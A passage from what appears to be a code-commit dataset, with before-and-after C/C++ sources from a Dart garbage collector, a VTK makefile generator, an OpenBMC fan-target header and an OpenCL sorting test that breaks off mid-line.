{\n      \/\/ Break out of the loop if there has been no forward process.\n      break;\n    }\n  }\n  \/\/ Deallocate any unmarked references on the delay queue.\n  if (state->delayed_weak_reference_sets() != NULL) {\n    WeakReferenceSet* queue = state->delayed_weak_reference_sets();\n    state->set_delayed_weak_reference_sets(NULL);\n    while (queue != NULL) {\n      delete WeakReferenceSet::Pop(&queue);\n    }\n  }\n}\n\n\nvoid GCMarker::DrainMarkingStack(Isolate* isolate,\n                                 MarkingVisitor* visitor) {\n  visitor->set_update_store_buffers(true);\n  while (!visitor->marking_stack()->IsEmpty()) {\n    RawObject* raw_obj = visitor->marking_stack()->Pop();\n    if (raw_obj->GetClassId() != kWeakPropertyCid) {\n      raw_obj->VisitPointers(visitor);\n    } else {\n      RawWeakProperty* raw_weak = reinterpret_cast<RawWeakProperty*>(raw_obj);\n      ProcessWeakProperty(raw_weak, visitor);\n    }\n  }\n  visitor->set_update_store_buffers(false);\n}\n\n\nvoid GCMarker::ProcessWeakProperty(RawWeakProperty* raw_weak,\n                                   MarkingVisitor* visitor) {\n  \/\/ The fate of the weak property is determined by its key.\n  RawObject* raw_key = raw_weak->ptr()->key_;\n  if (!raw_key->IsMarked()) {\n    \/\/ Key is white.  Delay the weak property.\n    visitor->DelayWeakProperty(raw_weak);\n  } else {\n    \/\/ Key is gray or black.  Make the weak property black.\n    raw_weak->VisitPointers(visitor);\n  }\n}\n\n\nvoid GCMarker::MarkObjects(Isolate* isolate,\n                           PageSpace* page_space,\n                           bool invoke_api_callbacks) {\n  MarkingStack marking_stack;\n  Prologue(isolate, invoke_api_callbacks);\n  MarkingVisitor mark(isolate, heap_, page_space, &marking_stack);\n  IterateRoots(isolate, &mark, !invoke_api_callbacks);\n  DrainMarkingStack(isolate, &mark);\n  IterateWeakReferences(isolate, &mark);\n  MarkingWeakVisitor mark_weak;\n  IterateWeakRoots(isolate, &mark_weak, invoke_api_callbacks);\n  mark.Finalize();\n  Epilogue(isolate, invoke_api_callbacks);\n}\n\n}  \/\/ namespace dart\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n\nextern void OutputUNIXDepends(char *file, FILE *fp, const char *vtkHome);\n\nint main (int argc, char *argv[])\n{\n  int concrete;\n  int cxx;\n  int concrete_num, concrete_start, concrete_end;\n  int abstract_num, abstract_start, abstract_end;\n  int concrete_h_num, concrete_h_start, concrete_h_end;\n  int abstract_h_num, abstract_h_start, abstract_h_end;\n  int i, typenum;\n  FILE *fp;\n  char *vtkLocal = argv[1];\n  char vtkHome[256];\n  char filename[80];\n  \n  sprintf(vtkHome,\"%s\/..\",vtkLocal);\n  \n  \/* start by counting *\/\n  for (i = 2; i < argc; i++)\n    {\n    if (!strcmp(argv[i],\"concrete\"))\n      {\n      concrete_start = i+1;\n      }\n    if (!strcmp(argv[i],\"abstract\"))   \n      {\n      concrete_end = i -1;\n      abstract_start = i+1;\n      }\n    if (!strcmp(argv[i],\"concrete_h\")) \n      {\n      abstract_end = i -1;\n      concrete_h_start = i+1;\n      }\n    if (!strcmp(argv[i],\"abstract_h\")) \n      {\n      concrete_h_end = i -1;\n      abstract_h_start = i+1;\n      abstract_h_end = argc - 1;\n      }\n    }\n  concrete_num = concrete_end - concrete_start + 1;\n  abstract_num = abstract_end - abstract_start + 1;\n  concrete_h_num = concrete_h_end - concrete_h_start + 1;\n  abstract_h_num = abstract_h_end - abstract_h_start + 1;\n  \n  \/* concrete should be called first *\/\n  fp = fopen(\"targets.make\",\"w\");\n  if (!fp)\n    {\n    fprintf(stderr,\"Unable to open target.make for writing!\");\n    exit(1);\n    }\n  \n  \/\/ for all the .cxx files generate depends\n  if ((concrete_num + abstract_num) > 0)\n    {\n    for (i = concrete_start; i <= concrete_end; i++)\n      {\n      fprintf(fp,\"%s.o : %s\/%s.cxx %s\/%s.h \\\\\\n\",argv[i],vtkLocal,\n\t      argv[i],vtkLocal,argv[i]);\n      sprintf(filename,\"%s\/%s.cxx\",vtkLocal,argv[i]);\n      OutputUNIXDepends(filename,fp,vtkHome);\n      }\n    for (i = abstract_start; i <= abstract_end; i++)\n      {\n      fprintf(fp,\"%s.o : %s\/%s.cxx %s\/%s.h \\\\\\n\",argv[i],vtkLocal,\n\t      argv[i],vtkLocal,argv[i]);\n      sprintf(filename,\"%s\/%s.cxx\",vtkLocal,argv[i]);\n      OutputUNIXDepends(filename,fp,vtkHome);\n      }\n    fprintf(fp,\"\\n\\n\");\n    }\n  \n  \/\/ generate depends for all the tcl wrappers\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"tcl\/%sTcl.cxx : %s\/%s.h %s\/common\/vtkTclUtil.h %s\/tcl\/cpp_parse.y\\\\\\n\",\n\t      argv[i],vtkLocal,argv[i],vtkHome,vtkHome);\n      sprintf(filename,\"%s\/%s.h\",vtkLocal,argv[i]);\n      OutputUNIXDepends(filename,fp,vtkHome);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create SRC_OBJ *\/\n  \/* create TCL_OBJ *\/\n  if ((concrete_num + abstract_num) > 0)\n    {\n    fprintf(fp,\"SRC_OBJ = \");\n    for (i = concrete_start; i <= concrete_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.o \",argv[i]);\n      }\n    for (i = abstract_start; i <= abstract_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.o \",argv[i]);\n      }\n    fprintf(fp,\"\\n\\n\");\n    }\n  \n  fprintf(fp,\"TCL_OBJ = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\ntcl\/%sTcl.o \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create TCL_NEWS *\/\n  if ((concrete_num + concrete_h_num) > 0)\n    {\n    fprintf(fp,\"TCL_NEWS = \");\n    for (i = concrete_start; i <= concrete_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.h \",argv[i]);\n      }\n    for (i = concrete_h_start; i <= concrete_h_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.h \",argv[i]);\n      }\n    fprintf(fp,\"\\n\\n\");\n    }\n  \n  \/* some more tcl rules *\/\n  for (i = concrete_start; i <= concrete_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 1, argv[i]);\n    }\n  for (i = abstract_start; i <= abstract_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 0, argv[i]);\n    }\n  for (i = concrete_h_start; i <= concrete_h_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 1, argv[i]);\n    }\n  for (i = abstract_h_start; i <= abstract_h_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 0, argv[i]);\n    }\n\n  \/* create JAVA_CLASSES *\/\n  fprintf(fp,\"JAVA_CLASSES = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\n..\/java\/vtk\/%s.java \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n  \n  \/* create JAVA_CODE *\/\n  fprintf(fp,\"JAVA_CODE = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\n..\/java\/vtk\/%s.class \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create JAVA_O *\/\n  fprintf(fp,\"JAVA_O = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\njava\/vtk_%s.o \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create JAVA_WRAP *\/\n  fprintf(fp,\"JAVA_WRAP = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\njava\/%sJava.o \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"..\/java\/vtk\/%s.java: %s.h ..\/java\/java_parse ..\/tcl\/hints\\n\\trm -f ..\/java\/vtk\/%s.java; ..\/java\/java_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints > ..\/java\/vtk\/%s.java\\n\",\n\t      argv[i],argv[i],argv[i], argv[i], argv[i]);\n      fprintf(fp,\"java\/%sJava.cxx: %s.h ..\/java\/java_wrap ..\/tcl\/hints\\n\\trm -f java\/%sJava.cxx; ..\/java\/java_wrap ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints > java\/%sJava.cxx\\n\",\n\t      argv[i],argv[i],argv[i], argv[i], argv[i]);\n      }\n    }\n\n  return 0;\n}\n<commit_msg>ERR: missing includes: stdlib.h and string.h. Also, filename[80] increased to filename[1024].<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nextern void OutputUNIXDepends(char *file, FILE *fp, const char *vtkHome);\n\nint main (int argc, char *argv[])\n{\n  int concrete;\n  int cxx;\n  int concrete_num, concrete_start, concrete_end;\n  int abstract_num, abstract_start, abstract_end;\n  int concrete_h_num, concrete_h_start, concrete_h_end;\n  int abstract_h_num, abstract_h_start, abstract_h_end;\n  int i, typenum;\n  FILE *fp;\n  char *vtkLocal = argv[1];\n  char vtkHome[256];\n  char filename[1024];\n  \n  sprintf(vtkHome,\"%s\/..\",vtkLocal);\n  \n  \/* start by counting *\/\n  for (i = 2; i < argc; i++)\n    {\n    if (!strcmp(argv[i],\"concrete\"))\n      {\n      concrete_start = i+1;\n      }\n    if (!strcmp(argv[i],\"abstract\"))   \n      {\n      concrete_end = i -1;\n      abstract_start = i+1;\n      }\n    if (!strcmp(argv[i],\"concrete_h\")) \n      {\n      abstract_end = i -1;\n      concrete_h_start = i+1;\n      }\n    if (!strcmp(argv[i],\"abstract_h\")) \n      {\n      concrete_h_end = i -1;\n      abstract_h_start = i+1;\n      abstract_h_end = argc - 1;\n      }\n    }\n  concrete_num = concrete_end - concrete_start + 1;\n  abstract_num = abstract_end - abstract_start + 1;\n  concrete_h_num = concrete_h_end - concrete_h_start + 1;\n  abstract_h_num = abstract_h_end - abstract_h_start + 1;\n  \n  \/* concrete should be called first *\/\n  fp = fopen(\"targets.make\",\"w\");\n  if (!fp)\n    {\n    fprintf(stderr,\"Unable to open target.make for writing!\");\n    exit(1);\n    }\n  \n  \/\/ for all the .cxx files generate depends\n  if ((concrete_num + abstract_num) > 0)\n    {\n    for (i = concrete_start; i <= concrete_end; i++)\n      {\n      fprintf(fp,\"%s.o : %s\/%s.cxx %s\/%s.h \\\\\\n\",argv[i],vtkLocal,\n\t      argv[i],vtkLocal,argv[i]);\n      sprintf(filename,\"%s\/%s.cxx\",vtkLocal,argv[i]);\n      OutputUNIXDepends(filename,fp,vtkHome);\n      }\n    for (i = abstract_start; i <= abstract_end; i++)\n      {\n      fprintf(fp,\"%s.o : %s\/%s.cxx %s\/%s.h \\\\\\n\",argv[i],vtkLocal,\n\t      argv[i],vtkLocal,argv[i]);\n      sprintf(filename,\"%s\/%s.cxx\",vtkLocal,argv[i]);\n      OutputUNIXDepends(filename,fp,vtkHome);\n      }\n    fprintf(fp,\"\\n\\n\");\n    }\n  \n  \/\/ generate depends for all the tcl wrappers\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"tcl\/%sTcl.cxx : %s\/%s.h %s\/common\/vtkTclUtil.h %s\/tcl\/cpp_parse.y\\\\\\n\",\n\t      argv[i],vtkLocal,argv[i],vtkHome,vtkHome);\n      sprintf(filename,\"%s\/%s.h\",vtkLocal,argv[i]);\n      OutputUNIXDepends(filename,fp,vtkHome);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create SRC_OBJ *\/\n  \/* create TCL_OBJ *\/\n  if ((concrete_num + abstract_num) > 0)\n    {\n    fprintf(fp,\"SRC_OBJ = \");\n    for (i = concrete_start; i <= concrete_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.o \",argv[i]);\n      }\n    for (i = abstract_start; i <= abstract_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.o \",argv[i]);\n      }\n    fprintf(fp,\"\\n\\n\");\n    }\n  \n  fprintf(fp,\"TCL_OBJ = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\ntcl\/%sTcl.o \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create TCL_NEWS *\/\n  if ((concrete_num + concrete_h_num) > 0)\n    {\n    fprintf(fp,\"TCL_NEWS = \");\n    for (i = concrete_start; i <= concrete_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.h \",argv[i]);\n      }\n    for (i = concrete_h_start; i <= concrete_h_end; i++)\n      {\n      fprintf(fp,\"\\\\\\n%s.h \",argv[i]);\n      }\n    fprintf(fp,\"\\n\\n\");\n    }\n  \n  \/* some more tcl rules *\/\n  for (i = concrete_start; i <= concrete_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 1, argv[i]);\n    }\n  for (i = abstract_start; i <= abstract_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 0, argv[i]);\n    }\n  for (i = concrete_h_start; i <= concrete_h_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 1, argv[i]);\n    }\n  for (i = abstract_h_start; i <= abstract_h_end; i++)\n    {\n    fprintf(fp,\"tcl\/%sTcl.cxx: %s.h ..\/tcl\/cpp_parse ..\/tcl\/hints\\n\\trm -f tcl\/%sTcl.cxx; ..\/tcl\/cpp_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints %i > tcl\/%sTcl.cxx\\n\",\n\t    argv[i],argv[i],argv[i], argv[i], 0, argv[i]);\n    }\n\n  \/* create JAVA_CLASSES *\/\n  fprintf(fp,\"JAVA_CLASSES = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\n..\/java\/vtk\/%s.java \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n  \n  \/* create JAVA_CODE *\/\n  fprintf(fp,\"JAVA_CODE = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\n..\/java\/vtk\/%s.class \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create JAVA_O *\/\n  fprintf(fp,\"JAVA_O = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\njava\/vtk_%s.o \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  \/* create JAVA_WRAP *\/\n  fprintf(fp,\"JAVA_WRAP = \");\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"\\\\\\njava\/%sJava.o \",argv[i]);\n      }\n    }\n  fprintf(fp,\"\\n\\n\");\n\n  for (i = 2; i < argc; i++)\n    {\n    if (strcmp(argv[i],\"concrete\")&&strcmp(argv[i],\"abstract\")&&\n\tstrcmp(argv[i],\"concrete_h\")&&strcmp(argv[i],\"abstract_h\"))\n      {\n      fprintf(fp,\"..\/java\/vtk\/%s.java: %s.h ..\/java\/java_parse ..\/tcl\/hints\\n\\trm -f ..\/java\/vtk\/%s.java; ..\/java\/java_parse ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints > ..\/java\/vtk\/%s.java\\n\",\n\t      argv[i],argv[i],argv[i], argv[i], argv[i]);\n      fprintf(fp,\"java\/%sJava.cxx: %s.h ..\/java\/java_wrap ..\/tcl\/hints\\n\\trm -f java\/%sJava.cxx; ..\/java\/java_wrap ${srcdir}\/%s.h ${srcdir}\/..\/tcl\/hints > java\/%sJava.cxx\\n\",\n\t      argv[i],argv[i],argv[i], argv[i], argv[i]);\n      }\n    }\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <experimental\/filesystem>\n#include <phosphor-logging\/elog-errors.hpp>\n#include <phosphor-logging\/log.hpp>\n#include <xyz\/openbmc_project\/Sensor\/Device\/error.hpp>\n#include \"fan_speed.hpp\"\n#include \"fan_pwm.hpp\"\n\n\/** @class Targets\n *  @brief Target type traits.\n *\n *  @tparam T - The target type.\n *\/\ntemplate <typename T>\nstruct Targets\n{\n    static void fail()\n    {\n        static_assert(sizeof(Targets) == -1, \"Unsupported Target type\");\n    }\n};\n\n\/**@brief Targets specialization for fan speed. *\/\ntemplate <>\nstruct Targets<hwmon::FanSpeed>\n{\n    static constexpr InterfaceType type = InterfaceType::FAN_SPEED;\n};\n\ntemplate <>\nstruct Targets<hwmon::FanPwm>\n{\n    static constexpr InterfaceType type = InterfaceType::FAN_PWM;\n};\n\n\/** @brief addTarget\n *\n *  Creates the target type interface\n *\n *  @tparam T - The target type\n *\n *  @param[in] sensor - A sensor type and name\n *  @param[in] ioAccess - hwmon sysfs access object\n *  @param[in] devPath - The \/sys\/devices sysfs path\n *  @param[in] info - The sdbusplus server connection and interfaces\n *\n *  @return A shared pointer to the target interface object\n *          Will be empty if no interface was created\n *\/\ntemplate <typename T>\nstd::shared_ptr<T> addTarget(const SensorSet::key_type& sensor,\n                             const sysfs::hwmonio::HwmonIO& ioAccess,\n                             const std::string& devPath,\n                             ObjectInfo& info)\n{\n    std::shared_ptr<T> target;\n    namespace fs = std::experimental::filesystem;\n    static constexpr bool deferSignals = true;\n\n    auto& bus = *std::get<sdbusplus::bus::bus*>(info);\n    auto& obj = std::get<Object>(info);\n    auto& objPath = std::get<std::string>(info);\n    auto type = Targets<T>::type;\n\n    \/\/ Check if target sysfs file exists\n    std::string sysfsFullPath;\n\n    using namespace std::literals;\n    const std::string pwm = \"pwm\"s;\n    const std::string empty = \"\"s;\n\n    if (InterfaceType::FAN_PWM == type)\n    {\n        \/* We're leveraging that the sensor ID matches for PWM.\n         * TODO(venture): There's a CL from intel that allows\n         * this to be specified via an environment variable.\n         *\/\n        sysfsFullPath = sysfs::make_sysfs_path(ioAccess.path(),\n                                               pwm,\n                                               sensor.second,\n                                               empty);\n    }\n    else\n    {\n        sysfsFullPath = sysfs::make_sysfs_path(ioAccess.path(),\n                                               sensor.first,\n                                               sensor.second,\n                                               hwmon::entry::target);\n    }\n\n    if (fs::exists(sysfsFullPath))\n    {\n        uint32_t targetSpeed = 0;\n\n        try\n        {\n            if (InterfaceType::FAN_PWM == type)\n            {\n                targetSpeed = ioAccess.read(\n                        pwm,\n                        sensor.second,\n                        empty,\n                        sysfs::hwmonio::retries,\n                        sysfs::hwmonio::delay);\n            }\n            else\n            {\n                targetSpeed = ioAccess.read(\n                        sensor.first,\n                        sensor.second,\n                        hwmon::entry::target,\n                        sysfs::hwmonio::retries,\n                        sysfs::hwmonio::delay);\n            }\n        }\n        catch (const std::system_error& e)\n        {\n            using namespace phosphor::logging;\n            using namespace sdbusplus::xyz::openbmc_project::\n                Sensor::Device::Error;\n            using metadata = xyz::openbmc_project::Sensor::\n                Device::ReadFailure;\n\n            report<ReadFailure>(\n                    metadata::CALLOUT_ERRNO(e.code().value()),\n                    metadata::CALLOUT_DEVICE_PATH(devPath.c_str()));\n\n            log<level::INFO>(\"Logging failing sysfs file\",\n                    phosphor::logging::entry(\n                            \"FILE=%s\", sysfsFullPath.c_str()));\n        }\n\n        target = std::make_shared<T>(ioAccess.path(),\n                                     devPath,\n                                     sensor.second,\n                                     bus,\n                                     objPath.c_str(),\n                                     deferSignals,\n                                     targetSpeed);\n        auto type = Targets<T>::type;\n        obj[type] = target;\n    }\n\n    return target;\n}\n<commit_msg>Add pwm id as fan pwm target<commit_after>#pragma once\n\n#include <experimental\/filesystem>\n#include <phosphor-logging\/elog-errors.hpp>\n#include <phosphor-logging\/log.hpp>\n#include <xyz\/openbmc_project\/Sensor\/Device\/error.hpp>\n#include \"fan_speed.hpp\"\n#include \"fan_pwm.hpp\"\n\n\/** @class Targets\n *  @brief Target type traits.\n *\n *  @tparam T - The target type.\n *\/\ntemplate <typename T>\nstruct Targets\n{\n    static void fail()\n    {\n        static_assert(sizeof(Targets) == -1, \"Unsupported Target type\");\n    }\n};\n\n\/**@brief Targets specialization for fan speed. *\/\ntemplate <>\nstruct Targets<hwmon::FanSpeed>\n{\n    static constexpr InterfaceType type = InterfaceType::FAN_SPEED;\n};\n\ntemplate <>\nstruct Targets<hwmon::FanPwm>\n{\n    static constexpr InterfaceType type = InterfaceType::FAN_PWM;\n};\n\n\/** @brief addTarget\n *\n *  Creates the target type interface\n *\n *  @tparam T - The target type\n *\n *  @param[in] sensor - A sensor type and name\n *  @param[in] ioAccess - hwmon sysfs access object\n *  @param[in] devPath - The \/sys\/devices sysfs path\n *  @param[in] info - The sdbusplus server connection and interfaces\n *\n *  @return A shared pointer to the target interface object\n *          Will be empty if no interface was created\n *\/\ntemplate <typename T>\nstd::shared_ptr<T> addTarget(const SensorSet::key_type& sensor,\n                             const sysfs::hwmonio::HwmonIO& ioAccess,\n                             const std::string& devPath,\n                             ObjectInfo& info)\n{\n    std::shared_ptr<T> target;\n    namespace fs = std::experimental::filesystem;\n    static constexpr bool deferSignals = true;\n\n    auto& bus = *std::get<sdbusplus::bus::bus*>(info);\n    auto& obj = std::get<Object>(info);\n    auto& objPath = std::get<std::string>(info);\n    auto type = Targets<T>::type;\n\n    \/\/ Check if target sysfs file exists\n    std::string sysfsFullPath;\n    std::string targetName = sensor.first;\n    std::string targetId = sensor.second;\n    std::string entry = hwmon::entry::target;\n\n    using namespace std::literals;\n    const std::string pwm = \"pwm\"s;\n    const std::string empty = \"\"s;\n\n    if (InterfaceType::FAN_PWM == type)\n    {\n        targetName = pwm;\n        \/\/ If PWM_TARGET is set, use the specified pwm id\n        auto id = getEnv(\"PWM_TARGET\", sensor);\n        if (!id.empty())\n        {\n            targetId = id;\n        }\n        entry = empty;\n    }\n\n    sysfsFullPath = sysfs::make_sysfs_path(ioAccess.path(),\n                                           targetName,\n                                           targetId,\n                                           entry);\n    if (fs::exists(sysfsFullPath))\n    {\n        uint32_t targetSpeed = 0;\n\n        try\n        {\n            targetSpeed = ioAccess.read(\n                targetName,\n                targetId,\n                entry,\n                sysfs::hwmonio::retries,\n                sysfs::hwmonio::delay);\n        }\n        catch (const std::system_error& e)\n        {\n            using namespace phosphor::logging;\n            using namespace sdbusplus::xyz::openbmc_project::\n                Sensor::Device::Error;\n            using metadata = xyz::openbmc_project::Sensor::\n                Device::ReadFailure;\n\n            report<ReadFailure>(\n                    metadata::CALLOUT_ERRNO(e.code().value()),\n                    metadata::CALLOUT_DEVICE_PATH(devPath.c_str()));\n\n            log<level::INFO>(\"Logging failing sysfs file\",\n                    phosphor::logging::entry(\n                            \"FILE=%s\", sysfsFullPath.c_str()));\n        }\n\n        target = std::make_shared<T>(ioAccess.path(),\n                                     devPath,\n                                     targetId,\n                                     bus,\n                                     objPath.c_str(),\n                                     deferSignals,\n                                     targetSpeed);\n        obj[type] = target;\n    }\n\n    return target;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n#include <cstdlib>\n#include <vector>\n#include <cmath>\n#include <time.h>\n#include <limits>\n\n#include \"..\/include\/sort\/cli.h\"\n#include \"..\/include\/sort\/bitonicSortKernels.h\"\n#include \"..\/include\/sort\/stl.h\"\n\n\n#include <GL\/glew.h>\n\n#ifdef __APPLE__\n#include <GLUT\/glut.h>\n#else\n#include <GL\/glut.h>\n#endif\n\n#include <clew.h>\n#include <util\/functions.hpp>\n#include <util\/gl_buffer_allocator.hpp>\n\n\n#define CL_ERRORS 1\n#define NORMALS\n\/\/#define DATA_TYPE int \n\/\/#define DATA_SIZE 1024\n#define WORK_GROUP_SIZE 64 \/\/ logical errors occur after work group size > 128\n\n#ifndef _WIN32\n#ifndef __APPLE__\n#define TIME 1\n#define BENCHSIZE 16\n#endif\n#endif\n\n#include <vector>\n\n\nint main(int argc, char **argv)\n{\n\n\tglutInit(&argc, argv);\n\tglutInitDisplayMode(GLUT_DEPTH | GLUT_DOUBLE | GLUT_RGBA);\n\tglutInitWindowPosition(100, 100);\n\tglutInitWindowSize(320, 320);\n\tglutCreateWindow(\"Nothing to see here\");\n\n\tglewInit();\n\n\tGLenum gl_err = GL_NO_ERROR;\n\n\tbool clpresent = 0 == clewInit();\n\tif (!clpresent) {\n\t\tthrow std::runtime_error(\"OpenCL library not found\");\n\t}\n\n\tprintf(\"OpenGL Version:\\t\\t%s\\nOpenGL Vendor:\\t\\t%s\\nOpenGL Renderer:\\t%s\\nGLSL Version:\\t\\t%s\\n\",\n\t\tglGetString(GL_VERSION),\n\t\tglGetString(GL_VENDOR),\n\t\tglGetString(GL_RENDERER),\n\t\tglGetString(GL_SHADING_LANGUAGE_VERSION)\n\t\t);\n\n\n\n\tstd::vector<cl_int> errors;\n\tstd::vector<float> verticies;\n\n\tint vert_count = 149;\n\tfor (int i = 0; i < vert_count; ++i)\n\t{\n\t\t\/\/minimalist randomNumber-Generator\n\t\tfloat randomValue;\n\t\trandomValue = fmod((i * 10007.0F) \/ 7.0f, 100.0F);\n\t\tverticies.push_back(randomValue);\n\t\t\/\/printf(\"i=%d: \\t%f \\n\", i, randomValue);\n\t}\n\t\n\t\/\/  --------------------------\n\t\/\/\n\t\/\/ pad our verticies with FLT_MAX's\n\t\/\/\n\t\/\/  --------------------------\n\tunsigned int n = verticies.size() - 1;\n\tunsigned int p2 = 1;\n\n\tsize_t original_vertex_size = verticies.size();\n\tdo ++p2; while 